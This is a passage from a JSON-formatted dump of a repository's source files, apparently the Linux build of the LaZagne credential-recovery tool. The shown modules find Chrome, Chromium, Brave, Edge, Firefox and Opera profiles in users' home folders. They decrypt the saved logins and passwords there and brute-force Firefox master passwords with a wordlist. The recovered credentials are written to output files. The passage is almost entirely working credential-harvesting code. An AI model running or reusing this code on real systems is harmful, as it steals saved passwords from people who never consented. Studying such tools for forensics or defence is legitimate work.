message=message, prefix='[!]')\n\n\n# --------------------------- End of output functions ---------------------------\n\ndef parse_json_result_to_buffer(json_string, color=False):\n    green = ''\n    reset = ''\n    title = ''\n    if color:\n        b = Bcolors()\n        green = b.OK\n        title = b.TITLE\n        reset = b.ENDC\n\n    buffer = ''\n    try:\n        for json in json_string:\n            if json:\n                if 'Passwords' not in json:\n                    buffer += 'No passwords found for this user !'\n                else:\n                    for all_passwords in json['Passwords']:\n                        buffer += '{title_color}------------------- {password_category} ----------' \\\n                                  '-------{reset_color}\\r\\n'.format(\n                                                                        title_color=title,\n                                                                        password_category=all_passwords[0]['Category'],\n                                                                        reset_color=reset\n                                                                    )\n                        for password_by_category in all_passwords[1]:\n                            buffer += '\\r\\n{green_color}Password found !!!{reset_color}\\r\\n'.format(green_color=green,\n                                                                                                    reset_color=reset)\n                            for dic in password_by_category:\n                                try:\n                                    buffer += '%s: %s\\r\\n' % (dic, password_by_category[dic])\n                                except Exception:\n                                    buffer += '%s: %s\\r\\n' % (\n                                        dic, password_by_category[dic].encode(encoding='utf-8', errors='replace'))\n                        buffer += '\\r\\n'\n\n    except Exception as e:\n        print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=e))\n\n    return buffer\n\n\ndef write_in_file(result):\n    \"\"\"\n    Write output to file (json and txt files)\n    \"\"\"\n    if constant.output in ('json', 'all'):\n        try:\n            # Human readable Json format\n            pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '))\n            with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'a+b') as f:\n                f.write(pretty_json.encode('UTF-8'))\n\n            constant.st.do_print(u'[+] File written: {file}'.format(\n                file=os.path.join(constant.folder_name, constant.file_name_results + '.json'))\n            )\n        except Exception as e:\n            print_debug('ERROR', u'Error writing the output file: {error}'.format(error=e))\n\n    if constant.output in ('txt', 'all'):\n        try:\n            with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'a+b') as f:\n                a = parse_json_result_to_buffer(result)\n                f.write(a.encode(\"UTF-8\"))\n\n            constant.st.write_footer()\n            constant.st.do_print(u'[+] File written: {file}'.format(\n                file=os.path.join(constant.folder_name, constant.file_name_results + '.txt'))\n            )\n        except Exception as e:\n            print_debug('ERROR', u'Error writing the output file: {error}'.format(error=e))\n"
  },
  {
    "path": "Linux/lazagne/softwares/__init__.py",
    "content": ""
  },
  {
    "path": "Linux/lazagne/softwares/browsers/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n"
  },
  {
    "path": "Linux/lazagne/softwares/browsers/chromium_based.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \nimport os\nimport shutil\nimport sqlite3\nimport struct\nimport traceback\n\nfrom hashlib import pbkdf2_hmac\n\n# For non-keyring storage\nfrom Crypto.Cipher import AES\n\nfrom lazagne.config.constant import constant, python_version\nfrom lazagne.config.crypto.pyaes import AESModeOfOperationCBC\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\n\nclass ChromiumBased(ModuleInfo):\n    def __init__(self, browser_name, path):\n        self.path = path\n        ModuleInfo.__init__(self, browser_name, category='browsers')\n        self.enc_config = {\n            'iv': b' ' * 16,\n            'length': 16,\n            'salt': b'saltysalt',\n            'iterations': 1,\n        }\n        self.AES_BLOCK_SIZE = 16\n\n    def get_paths(self):\n        for profile_dir in homes.get(directory=self.path):\n            try:\n                subdirs = os.listdir(profile_dir)\n            except Exception:\n                continue\n\n            for subdir in subdirs:\n                login_data = os.path.join(profile_dir, subdir, 'Login Data')\n                if os.path.isfile(login_data):\n                    yield login_data\n\n    def remove_padding(self, data):\n        \"\"\"\n        Remove PKCS#7 padding\n        \"\"\"\n        try:\n            nb = struct.unpack('B', data[-1])[0]  # Python 2\n        except Exception:\n            nb = data[-1]  # Python 3\n\n        try:\n            return data[:-nb]\n        except Exception:\n            self.debug(traceback.format_exc())\n            return data\n\n    def _decrypt_v80(self, buff, master_key, AES_mode):\n        try:\n            iv = buff[3:15]\n            payload = buff[15:]\n            cipher = AES.new(master_key, AES_mode, iv)\n            decrypted_pass = cipher.decrypt(payload)\n            decrypted_pass = decrypted_pass[:-16]  # .decode()  # remove suffix bytes\n            return decrypted_pass\n        except:\n            pass\n\n    def chrome_decrypt(self, encrypted_value, key, init_vector):\n        encrypted_value = encrypted_value[3:]\n        aes = AESModeOfOperationCBC(key, iv=init_vector)\n        cleartxt = b\"\".join([aes.decrypt(encrypted_value[i:i + self.AES_BLOCK_SIZE])\n                             for i in range(0, len(encrypted_value), self.AES_BLOCK_SIZE)])\n        return self.remove_padding(cleartxt)\n\n    def get_passwords(self, path):\n        try:\n            conn = sqlite3.connect(path)\n        except Exception:\n            return\n\n        cursor = conn.cursor()\n        try:\n            cursor.execute('SELECT origin_url,username_value,password_value FROM logins')\n            for url, user, password in cursor:\n                # Password encrypted on the database\n                if password[:3] == b'v10' or password[:3] == b'v11':\n\n                    # To decrypt it, Chromium Safe Storage from libsecret module is needed\n                    if not constant.chrome_storage:\n                        self.info('Password encrypted and Chrome Secret Storage not found')\n                        continue\n\n                    else:\n                        psswrd = password\n                        try:\n                            for css in constant.chrome_storage:\n                              enc_key = pbkdf2_hmac(\n                                  hash_name='sha1', \n                                  password=css, \n                                  salt=self.enc_config['salt'], \n                                  iterations=self.enc_config['iterations'], \n                                  dklen=self.enc_config['length'])\n\n                              try:\n                                  password = self.chrome_decrypt(password, key=enc_key, init_vector=self.enc_config['iv'])\n                                  password = password if python_version == 2 else password.decode()\n                              except UnicodeDecodeError:\n                                  password = self._decrypt_v80(password, enc_key, AES.MODE_GCM)\n                                  try:\n                                      password=password.decode()\n                                  except UnicodeDecodeError :\n                                      password = self._decrypt_v80(password, enc_key, AES.MODE_CBC)\n                              if password:\n                                  break\n                              else:\n                                  password = psswrd\n\n                        except Exception:\n                            print(traceback.format_exc())\n\n                if user:\n                    yield {\n                        'URL': url,\n                        'Login': user,\n                        'Password': password\n                    }\n        except Exception:\n            print(traceback.format_exc())\n\n        finally:\n            cursor.close()\n            conn.close()\n            os.remove(path)\n\n    def run(self):\n        all_passwords = []\n\n        for path in self.get_paths():\n            tmp = u'/tmp/chrome.db'\n            shutil.copyfile(path, tmp)\n\n            for pw in self.get_passwords(tmp):\n                all_passwords.append(pw)\n\n        return all_passwords\n"
  },
  {
    "path": "Linux/lazagne/softwares/browsers/chromium_browsers.py",
    "content": "from lazagne.config.soft_import_module import soft_import\n\nchromium_based_module_location = \"lazagne.softwares.browsers.chromium_based\", \"ChromiumBased\"\nChromiumBased = soft_import(*chromium_based_module_location)\n\n# Name, path\nchromium_browsers_paths = [\n    (u'Google Chrome', u'.config/google-chrome'),\n    (u'Chromium', u'.config/chromium'),\n    (u'Brave', u'.config/BraveSoftware/Brave-Browser'),\n    (u'SlimJet', u'.config/slimjet'),\n    (u'Dissenter Browser', u'.config/GabAI/Dissenter-Browser'),\n    (u'Vivaldi', u'.config/vivaldi'),\n    (u'Microsoft Edge (Dev)', u'.config/microsoft-edge-dev'),\n    (u'Microsoft Edge (Beta)', u'.config/microsoft-edge-beta'),\n    (u'Microsoft Edge', u'.config/microsoft-edge'),\n    # (u'SuperBird', u'.config/superbird'),  # FIXME\n    # (u'Whale', u'.config/naver-whale'),  # FIXME returns bytes\n]\n\nchromium_browsers = [ChromiumBased(browser_name=name, path=path) for name, path in chromium_browsers_paths]\n"
  },
  {
    "path": "Linux/lazagne/softwares/browsers/firefox_browsers.py",
    "content": "from lazagne.config.soft_import_module import soft_import\n\nmozilla_module_location = \"lazagne.softwares.browsers.mozilla\", \"Mozilla\"\nMozilla = soft_import(*mozilla_module_location)\n\n# Name, path\nfirefox_browsers = [\n    (u'firefox', u'.mozilla/firefox'),\n    (u'icecat', u'.mozilla/icecat'),\n    (u'waterfox', u'.waterfox'),\n    # (u'Pale Moon', u'.moonchild productions/pale moon'), FIXME\n]\n\nfirefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers]\n"
  },
  {
    "path": "Linux/lazagne/softwares/browsers/mozilla.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472)\n# from https://github.com/lclevy/firepwd/blob/master/firepwd.py\n\nimport hmac\nimport json\nimport sqlite3\nimport struct\nimport traceback\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.crypto.pyDes import triple_des, CBC\nfrom lazagne.config.crypto.pyaes import AESModeOfOperationCBC\nfrom lazagne.config.dico import get_dic\nfrom lazagne.config.constant import constant, python_version\nfrom pyasn1.codec.der import decoder\nfrom lazagne.config import homes\nfrom binascii import unhexlify\nfrom base64 import b64decode\nfrom hashlib import sha1, pbkdf2_hmac\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\n\ndef l(n):\n    try:\n        return long(n)\n    except NameError:\n        return int(n)\n\n\nCKA_ID = unhexlify('f8000000000000000000000000000001')\nAES_BLOCK_SIZE = 16\n\n\ndef convert_to_byte(s):\n    if python_version == 2:\n        return s\n    else:\n        return s.encode()\n\n\ndef o(c):\n    if python_version == 2:\n        return ord(c)\n    else:\n        return c\n\n\ndef long_to_bytes(n, blocksize=0):\n    \"\"\"long_to_bytes(n:long, blocksize:int) : string\n    Convert a long integer to a byte string.\n    If optional blocksize is given and greater than zero, pad the front of the\n    byte string with binary zeros so that the length is a multiple of\n    blocksize.\n    \"\"\"\n    # after much testing, this algorithm was deemed to be the fastest\n    s = convert_to_byte('')\n    n = l(n)\n    while n > 0:\n        s = struct.pack('>I', n & 0xffffffff) + s\n        n = n >> 32\n\n    # strip off leading zeros\n    for i in range(len(s)):\n        if s[i] != convert_to_byte('\\000')[0]:\n            break\n    else:\n        # only happens when n == 0\n        s = convert_to_byte('\\000')\n        i = 0\n    s = s[i:]\n    # add back some pad bytes.  this could be done more efficiently w.r.t. the\n    # de-padding being done above, but sigh...\n    if blocksize > 0 and len(s) % blocksize:\n        s = (blocksize - len(s) % blocksize) * convert_to_byte('\\000') + s\n\n    return s\n\n\nclass Mozilla(ModuleInfo):\n\n    def __init__(self, browser_name, path, category='browsers'):\n        self.path = path\n        ModuleInfo.__init__(self, browser_name, category=category)\n\n    def get_firefox_profiles(self, directory):\n        \"\"\"\n        List all profiles\n        \"\"\"\n        cp = RawConfigParser()\n        profile_list = []\n\n        try:\n            cp.read(os.path.join(directory, 'profiles.ini'))\n            for section in cp.sections():\n                if section.startswith('Profile') and cp.has_option(section, 'Path'):\n                    profile_path = None\n\n                    if cp.has_option(section, 'IsRelative'):\n                        if cp.get(section, 'IsRelative') == '1':\n                            profile_path = os.path.join(directory, cp.get(section, 'Path').strip())\n                        elif cp.get(section, 'IsRelative') == '0':\n                            profile_path = cp.get(section, 'Path').strip()\n\n                    else: # No \"IsRelative\" in profiles.ini\n                        profile_path = os.path.join(directory, cp.get(section, 'Path').strip())\n\n                    if profile_path:\n                        profile_list.append(profile_path)\n\n        except Exception as e:\n            self.error(u'An error occurred while reading profiles.ini: {}'.format(e))\n        return profile_list\n\n    def get_key(self, profile):\n        \"\"\"\n        Get main key used to encrypt all data (user / password).\n        Depending on the Firefox version, could be stored in key3.db or key4.db file.\n        \"\"\"\n        try:\n            row = None\n            # Remove error when file is empty\n            with open(os.path.join(profile, 'key4.db'), 'rb') as f:\n                content = f.read()\n\n            if content:\n                conn = sqlite3.connect(os.path.join(profile, 'key4.db'))  # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite\n                c = conn.cursor()\n                # First check password\n                c.execute(\"SELECT item1,item2 FROM metadata WHERE id = 'password';\")\n                try:\n                    row = c.next()  # Python 2\n                except Exception:\n                    row = next(c)  # Python 3\n\n        except Exception:\n            self.debug(traceback.format_exc())\n\n        else:\n            if row:\n                (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row)\n\n                if global_salt:\n                    try:\n                        # Decrypt 3DES key to decrypt \"logins.json\" content\n                        c.execute(\"SELECT a11,a102 FROM nssPrivate;\")\n                        for row in c:\n                            if row[0]:\n                                break\n\n                        a11 = row[0]  # CKA_VALUE\n                        a102 = row[1]  # f8000000000000000000000000000001, CKA_ID\n\n                        if python_version == 2:\n                            a102 = str(a102)\n\n                        if a102 == CKA_ID:\n                            # a11  : CKA_VALUE\n                            # a102 : f8000000000000000000000000000001, CKA_ID\n                            # self.print_asn1(a11, len(a11), 0)\n                            # SEQUENCE {\n                            #     SEQUENCE {\n                            #         OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3\n                            #         SEQUENCE {\n                            #             OCTETSTRING entry_salt_for_3des_key\n                            #             INTEGER 01\n                            #         }\n                            #     }\n                            #     OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding)\n                            # }\n                            decoded_a11 = decoder.decode(a11)\n                            key = self.decrypt_3des(decoded_a11, master_password, global_salt)\n                            if key:\n                                self.debug(u'key: {key}'.format(key=repr(key)))\n                                yield key[:24]\n                        # else:\n                            # Nothing saved\n\n                    except Exception:\n                        self.debug(traceback.format_exc())\n\n        try:\n            key3_file = os.path.join(profile, 'key3.db')\n            if os.path.exists(key3_file):\n                key_data = self.read_bsddb(key3_file)\n                # Check masterpassword\n                (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'',\n                                                                                        key_data=key_data,\n                                                                                        new_version=False)\n                if global_salt:\n                    key = self.extract_secret_key(key_data=key_data,\n                                                  global_salt=global_salt,\n                                                  master_password=master_password,\n                                                  entry_salt=entry_salt)\n                    if key:\n                        self.debug(u'key: {key}'.format(key=repr(key)))\n                        yield key[:24]\n        except Exception:\n            self.debug(traceback.format_exc())\n\n    @staticmethod\n    def get_short_le(d, a):\n        return struct.unpack('<H', d[a:a + 2])[0]\n\n    @staticmethod\n    def get_long_be(d, a):\n        return struct.unpack('>L', d[a:a + 4])[0]\n\n    def print_asn1(self, d, l, rl):\n        \"\"\"\n        Used for debug\n        \"\"\"\n        type_ = o(d[0])\n        length = o(d[1])\n        if length & 0x80 > 0:  # http://luca.ntop.org/Teaching/Appunti/asn1.html,\n            # nByteLength = length & 0x7f\n            length = o(d[2])\n            # Long form. Two to 127 octets. Bit 8 of first octet has value \"1\" and\n            # bits 7-1 give the number of additional length octets.\n            skip = 1\n        else:\n            skip = 0\n\n        if type_ == 0x30:\n            seq_len = length\n            read_len = 0\n            while seq_len > 0:\n                len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1)\n                seq_len = seq_len - len2\n                read_len = read_len + len2\n            return length + 2\n        elif type_ in (0x6, 0x5, 0x4, 0x2):  # OID, OCTETSTRING, NULL, INTEGER\n            return length + 2\n        elif length == l - 2:\n            self.print_asn1(d[2:], length, rl + 1)\n            return length\n\n    def read_bsddb(self, name):\n        \"\"\"\n        Extract records from a BSD DB 1.85, hash mode\n        Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used\n        \"\"\"\n        with open(name, 'rb') as f:\n            # http://download.oracle.com/berkeley-db/db.1.85.tar.gz\n            header = f.read(4 * 15)\n            magic = self.get_long_be(header, 0)\n            if magic != 0x61561:\n                self.warning(u'Bad magic number')\n                return False\n\n            version = self.get_long_be(header, 4)\n            if version != 2:\n                self.warning(u'Bad version !=2 (1.85)')\n                return False\n\n            pagesize = self.get_long_be(header, 12)\n            nkeys = self.get_long_be(header, 0x38)\n            readkeys = 0\n            page = 1\n            db1 = []\n\n            while readkeys < nkeys:\n                f.seek(pagesize * page)\n                offsets = f.read((nkeys + 1) * 4 + 2)\n                offset_vals = []\n                i = 0\n                nval = 0\n                val = 1\n                keys = 0\n\n                while nval != val:\n                    keys += 1\n                    key = self.get_short_le(offsets, 2 + i)\n                    val = self.get_short_le(offsets, 4 + i)\n                    nval = self.get_short_le(offsets, 8 + i)\n                    offset_vals.append(key + pagesize * page)\n                    offset_vals.append(val + pagesize * page)\n                    readkeys += 1\n                    i += 4\n\n                offset_vals.append(pagesize * (page + 1))\n                val_key = sorted(offset_vals)\n                for i in range(keys * 2):\n                    f.seek(val_key[i])\n                    data = f.read(val_key[i + 1] - val_key[i])\n                    db1.append(data)\n                page += 1\n\n        db = {}\n        for i in range(0, len(db1), 2):\n            db[db1[i + 1]] = db1[i]\n\n        return db\n\n    @staticmethod\n    def decrypt_3des(decoded_item, master_password, global_salt):\n        \"\"\"\n        User master key is also encrypted (if provided, the master_password could be used to encrypt it)\n        \"\"\"\n        # See http://www.drh-consultancy.demon.co.uk/key3.html\n        pbeAlgo = str(decoded_item[0][0][0])\n        if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC\n            entry_salt = decoded_item[0][0][1][0].asOctets()\n            cipher_t = decoded_item[0][1].asOctets()\n\n            # See http://www.drh-consultancy.demon.co.uk/key3.html\n            hp = sha1(global_salt + master_password).digest()\n            pes = entry_salt + convert_to_byte('\\x00') * (20 - len(entry_salt))\n            chp = sha1(hp + entry_salt).digest()\n            k1 = hmac.new(chp, pes + entry_salt, sha1).digest()\n            tk = hmac.new(chp, pes, sha1).digest()\n            k2 = hmac.new(chp, tk + entry_salt, sha1).digest()\n            k = k1 + k2\n            iv = k[-8:]\n            key = k[:24]\n            return triple_des(key, CBC, iv).decrypt(cipher_t)\n        \n        # New version\n        elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2\n\n            assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12'\n            assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9'\n            assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42'\n            # https://tools.ietf.org/html/rfc8018#page-23\n            entry_salt = decoded_item[0][0][1][0][1][0].asOctets()\n            iteration_count = int(decoded_item[0][0][1][0][1][1])\n            key_length = int(decoded_item[0][0][1][0][1][2])\n            assert key_length == 32 \n\n            k = sha1(global_salt + master_password).digest()\n            key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length)    \n\n            # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49\n            iv = b'\\x04\\x0e' + decoded_item[0][0][1][1][1].asOctets()\n            # 04 is OCTETSTRING, 0x0e is length == 14\n            encrypted_value = decoded_item[0][1].asOctets()\n            aes = AESModeOfOperationCBC(key, iv=iv)\n            cleartxt = b\"\".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE])\n                             for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)])\n\n            return cleartxt\n\n    def extract_secret_key(self, key_data, global_salt, master_password, entry_salt):\n\n        if unhexlify('f8000000000000000000000000000001') not in key_data:\n            return None\n\n        priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')]\n        salt_len = o(priv_key_entry[1])\n        name_len = o(priv_key_entry[2])\n        priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:])\n        # data = priv_key_entry[3 + salt_len + name_len:]\n        # self.print_asn1(data, len(data), 0)\n\n        # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt\n        priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt)\n        # self.print_asn1(priv_key, len(priv_key), 0)\n        priv_key_asn1 = decoder.decode(priv_key)\n        pr_key = priv_key_asn1[0][2].asOctets()\n        # self.print_asn1(pr_key, len(pr_key), 0)\n        pr_key_asn1 = decoder.decode(pr_key)\n        # id = pr_key_asn1[0][1]\n        key = long_to_bytes(pr_key_asn1[0][3])\n        return key\n\n    @staticmethod\n    def decode_login_data(data):\n        asn1data = decoder.decode(b64decode(data))  # First base64 decoding, then ASN1DERdecode\n        # For login and password, keep :(key_id, iv, ciphertext)\n        return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets()\n\n    def get_login_data(self, profile):\n        \"\"\"\n        Get encrypted data (user / password) and host from the json or sqlite files\n        \"\"\"\n        conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite'))\n        logins = []\n        c = conn.cursor()\n        try:\n            c.execute('SELECT * FROM moz_logins;')\n        except sqlite3.OperationalError:  # Since Firefox 32, json is used instead of sqlite3\n            try:\n                logins_json = os.path.join(profile, 'logins.json')\n                if os.path.isfile(logins_json):\n                    with open(logins_json) as f:\n                        loginf = f.read()\n                        if loginf:\n                            json_logins = json.loads(loginf)\n                            if 'logins' not in json_logins:\n                                self.debug('No logins key in logins.json')\n                                return logins\n                            for row in json_logins['logins']:\n                                enc_username = row['encryptedUsername']\n                                enc_password = row['encryptedPassword']\n                                logins.append((self.decode_login_data(enc_username),\n                                               self.decode_login_data(enc_password), row['hostname']))\n                            return logins\n            except Exception:\n                self.debug(traceback.format_exc())\n                return []\n\n        # Using sqlite3 database\n        for row in c:\n            enc_username = row[6]\n            enc_password = row[7]\n            logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1]))\n        return logins\n\n    def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True):\n        \"\"\"\n        Check if a master password is set.\n        If so, try to find it using a dictionary attack\n        \"\"\"\n        (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password,\n                                                                                     key_data=key_data,\n                                                                                     new_version=new_version)\n\n        if not global_salt:\n            self.info(u'Master Password is used !')\n            (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data,\n                                                                                    new_version=new_version)\n            if not master_password:\n                return '', '', ''\n\n        return global_salt, master_password, entry_salt\n\n    def is_master_password_correct(self, key_data, master_password=b'', new_version=True):\n        try:\n            entry_salt = b\"\"\n            if not new_version:\n                # See http://www.drh-consultancy.demon.co.uk/key3.html\n                pwd_check = key_data.get(b'password-check')\n                if not pwd_check:\n                    return '', '', ''\n                # Hope not breaking something (not tested for old version)\n                # entry_salt_len = o(pwd_check[1])\n                # entry_salt = pwd_check[3: 3 + entry_salt_len]\n                # encrypted_passwd = pwd_check[-16:]\n                global_salt = key_data[b'global-salt']\n\n            else:\n                global_salt = key_data[0]  # Item1\n                item2 = key_data[1]\n                # self.print_asn1(item2, len(item2), 0)\n                # SEQUENCE {\n                # \tSEQUENCE {\n                # \t\tOBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3\n                # \t\tSEQUENCE {\n                # \t\t\tOCTETSTRING entry_salt_for_passwd_check\n                # \t\t\tINTEGER 01\n                # \t\t}\n                # \t}\n                # \tOCTETSTRING encrypted_password_check\n                # }\n                decoded_item2 = decoder.decode(item2)\n\n            cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)\n            if cleartext_data != convert_to_byte('password-check\\x02\\x02'):\n                return '', '', ''\n\n            return global_salt, master_password, entry_salt\n        except Exception:\n            self.debug(traceback.format_exc())\n            return '', '', ''\n\n    def brute_master_password(self, key_data, new_version=True):\n        \"\"\"\n        Try to find master_password doing a dictionary attack using the 500 most used passwords\n        \"\"\"\n        wordlist = constant.password_found + get_dic()\n        num_lines = (len(wordlist) - 1)\n        self.info(u'%d most used passwords !!! ' % num_lines)\n\n        for word in wordlist:\n            global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data,\n                                                                                       master_password=word.strip(),\n                                                                                       new_version=new_version)\n            if master_password:\n                self.info(u'Master password found: {}'.format(master_password))\n                return global_salt, master_password, entry_salt\n\n        self.warning(u'No password has been found using the default list')\n        return '', '', ''\n\n    def remove_padding(self, data):\n        \"\"\"\n        Remove PKCS#7 padding\n        \"\"\"\n        try:\n            nb = struct.unpack('B', data[-1])[0]  # Python 2\n        except Exception:\n            nb = data[-1]  # Python 3\n\n        try:\n            return data[:-nb]\n        except Exception:\n            self.debug(traceback.format_exc())\n            return data\n\n    def decrypt(self, key, iv, ciphertext):\n        \"\"\"\n        Decrypt ciphered data (user / password) using the key previously found\n        \"\"\"\n        data = triple_des(key, CBC, iv).decrypt(ciphertext)\n        return self.remove_padding(data)\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n        pwd_found = []\n        profile_list = (\n            item for sublist in (\n                self.get_firefox_profiles(path) for path in homes.get(directory=self.path)\n            ) for item in sublist\n        )\n\n        for profile in profile_list:\n            self.info(u'Profile path found: {profile}'.format(profile=profile))\n\n            credentials = self.get_login_data(profile)\n            if credentials:\n                for key in self.get_key(profile):\n                    for user, password, url in credentials:\n                        try:\n                            pwd_found.append(\n                                {\n                                    'URL': url,\n                                    'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode('utf-8'),\n                                    'Password': self.decrypt(key=key, iv=password[1], ciphertext=password[2]).decode('utf-8'),\n                                }\n                            )\n                        except Exception:\n                            self.debug(u'An error occurred decrypting the password: {error}'.format(\n                                error=traceback.format_exc()))\n            else:\n                self.info(u'Database empty')\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/browsers/opera.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\nimport re\nimport os\nimport binascii\nimport hashlib\nimport struct\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.crypto.pyDes import *\nfrom lazagne.config import homes\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\n\nclass Opera(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'opera', 'browsers')\n\n    def get_paths(self):\n        return homes.get(directory=u'.opera')\n\n    def run(self):\n        all_passwords = []\n        for path in self.get_paths():\n            # Check the use of master password\n            if not os.path.exists(os.path.join(path, u'operaprefs.ini')):\n                self.debug(u'The preference file operaprefs.ini has not been found.')\n            else:\n                if self.master_password_used(path) == '0':\n                    self.debug(u'No master password defined.')\n                elif self.master_password_used(path) == '1':\n                    self.warning(u'A master password is used.')\n                else:\n                    self.warning(u'An error occurs, the use of master password is not sure.')\n\n            passwords = self.decipher_old_version(path)\n\n            if passwords:\n                all_passwords += self.parse_results(passwords)\n            else:\n                self.debug(u'The wand.dat seems to be empty')\n\n        return all_passwords\n\n    def decipher_old_version(self, path):\n        salt = '837DFC0F8EB3E86973AFFF'\n\n        # Retrieve wand.dat file\n        if not os.path.exists(os.path.join(path, u'wand.dat')):\n            self.warning(u'wand.dat file has not been found.')\n            return\n\n        # Read wand.dat\n        with open(os.path.join(path, u'wand.dat', 'rb')) as outfile:\n            file = outfile.read()\n\n        passwords = []\n        offset = 0\n\n        while offset < len(file):\n\n            offset = file.find('\\x08', offset) + 1\n            if offset == 0:\n                break\n\n            tmp_block_length = offset - 8\n            tmp_data_len = offset + 8\n\n            block_length = struct.unpack('!i', file[tmp_block_length: tmp_block_length + 4])[0]\n            data_len = struct.unpack('!i', file[tmp_data_len: tmp_data_len + 4])[0]\n\n            binary_salt = binascii.unhexlify(salt)\n            des_key = file[offset: offset + 8]\n            tmp = binary_salt + des_key\n\n            md5hash1 = hashlib.md5(tmp).digest()\n            md5hash2 = hashlib.md5(md5hash1 + tmp).digest()\n\n            key = md5hash1 + md5hash2[0:8]\n            iv = md5hash2[8:]\n\n            data = file[offset + 8 + 4: offset + 8 + 4 + data_len]\n            des3dec = triple_des(key, CBC, iv)\n            try:\n                plaintext = des3dec.decrypt(data)\n                plaintext = re.sub(r'[^\\x20-\\x7e]', '', plaintext)\n                passwords.append(plaintext)\n            except Exception as e:\n                self.debug(str(e))\n                self.error(u'Failed to decrypt password')\n\n            offset += 8 + 4 + data_len\n        return passwords\n\n    def master_password_used(self, path):\n        # The init file is not well defined so lines have to be removed before to parse it\n        cp = RawConfigParser()\n        with open(os.path.join(path, u'operaprefs.ini', 'rb')) as outfile:\n\n            outfile.readline()  # discard first line\n            while True:\n                try:\n                    cp.readfp(outfile)\n                    break\n                except Exception:\n                    outfile.readline()  # discard first line\n            try:\n                master_pass = cp.get('Security Prefs', 'Use Paranoid Mailpassword')\n                return master_pass\n            except Exception:\n                return False\n\n    def parse_results(self, passwords):\n\n        cpt = 0\n        tmp_cpt = 0\n        values = {}\n        pwd_found = []\n\n        for password in passwords:\n            # Date (begin of the sensitive data)\n            match = re.search(r'(\\d+-\\d+-\\d+)', password)\n            if match:\n                values = {}\n                cpt = 0\n                tmp_cpt = 0\n\n            # After finding 2 urls\n            if cpt == 2:\n                tmp_cpt += 1\n                if tmp_cpt == 2:\n                    values['Login'] = password\n                elif tmp_cpt == 4:\n                    values['Password'] = password\n                    pwd_found.append(values)\n\n            # URL\n            match = re.search(r'^http', password)\n            if match:\n                cpt += 1\n                if cpt == 1:\n                    tmp_url = password\n                elif cpt == 2:\n                    values['URL'] = tmp_url\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/chats/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n"
  },
  {
    "path": "Linux/lazagne/softwares/chats/pidgin.py",
